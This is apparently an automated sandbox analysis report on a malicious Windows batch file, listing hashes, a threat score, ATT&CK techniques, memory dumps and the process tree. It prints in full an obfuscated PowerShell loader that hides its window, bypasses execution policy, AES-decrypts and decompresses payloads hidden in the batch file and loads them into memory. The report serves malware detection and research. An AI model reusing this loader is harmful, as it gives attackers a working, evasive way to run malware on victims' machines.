39b6ba1d146867517cb7772b4a9665bf9139319dcb9e01ebb584ddab9daf54a8

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
11-02-2025 11:23

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General

Target

startup_str_232.bat
Size

1.8MB
MD5

d7c48a5173ca5bc25644c9799109c835
SHA1

8845470e96cf21d7ff11961d3dd370787960dc22
SHA256

39b6ba1d146867517cb7772b4a9665bf9139319dcb9e01ebb584ddab9daf54a8
SHA512

e6a9e4d84ae1609ce511ba346faac33023e5ed3217a5c082be69ef18378ae3498153659aeeb506d2100c696cb50d329e6c2c24d4233c2b1f9442a5c59293a939
SSDEEP

24576:va3qjALWb5fJ3LTbHrDt9uwqPffkE8s706cW4DNTfWihRFxwVyU6fmD7+P+XbCBe:y6ALi5fdLT1qPHlovRciV+VLkrWy4hx

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 2564	3032	cmd.exe	32
PID 3032 wrote to memory of 2564	3032	cmd.exe	32
PID 3032 wrote to memory of 2564	3032	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\startup_str_232.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gfr4+zeD+/eWhB2QAGtJiORh9A6UOWX3etZcAfnNQuY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z4PHG4bhLDvAXMFT9uGv8g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZgiJx=New-Object System.IO.MemoryStream(,$param_var); $nEiVV=New-Object System.IO.MemoryStream; $YutHx=New-Object System.IO.Compression.GZipStream($ZgiJx, [IO.Compression.CompressionMode]::Decompress); $YutHx.CopyTo($nEiVV); $YutHx.Dispose(); $ZgiJx.Dispose(); $nEiVV.Dispose(); $nEiVV.ToArray();}function execute_function($param_var,$param2_var){ $opAvX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QPQSI=$opAvX.EntryPoint; $QPQSI.Invoke($null, $param2_var);}$knrmS = 'C:\Users\Admin\AppData\Local\Temp\startup_str_232.bat';$host.UI.RawUI.WindowTitle = $knrmS;$zAhSA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($knrmS).Split([Environment]::NewLine);foreach ($giYxD in $zAhSA) { if ($giYxD.StartsWith(':: ')) { $iOpvd=$giYxD.Substring(3); break; }}$payloads_var=[string[]]$iOpvd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2564-4-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

Filesize
4KB

Download
memory/2564-5-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-6-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2564-7-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2564-8-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-9-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-10-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download